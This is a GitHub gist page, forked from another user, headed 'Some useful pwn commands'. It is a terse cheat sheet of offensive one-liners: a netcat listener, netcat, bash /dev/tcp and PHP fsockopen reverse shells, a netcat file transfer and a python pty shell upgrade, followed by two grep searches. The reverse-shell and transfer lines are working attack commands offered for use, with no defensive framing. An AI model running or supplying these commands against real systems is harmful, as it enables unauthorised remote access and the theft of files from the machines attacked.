Skip to content

Instantly share code, notes, and snippets.

@jonathanwork
Forked from megalucio/pwn-cmd.sh
Created August 5, 2022 00:03
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save jonathanwork/25f9a9a4ab4f05c266314f47197d7f8e to your computer and use it in GitHub Desktop.
Save jonathanwork/25f9a9a4ab4f05c266314f47197d7f8e to your computer and use it in GitHub Desktop.
Some useful pwn commands
# Netcat simple listen
netcat -lvp [port]
# Netcat reverse shell
nc -e /bin/sh [destination] [port]
# Nectat file transfer
nc -l -p 1234 > out.file
nc -w 3 [destination] [port] < out.file
# Bash reverse shell
bash -i >& /dev/tcp/[ip]/[port] 0>&1
# Php reverse shell
php -r '$sock=fsockopen("[ip]",[port]);exec("/bin/sh -i <&3 >&3 2>&3");'
# Upgrade shell
python3 -c "import pty; pty.spawn('/bin/bash')"
# Search for text inside files in folder recursively silent
grep -Rw [folder] -e "[text]" -s
grep -rnw [folder] -e '[text]'
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment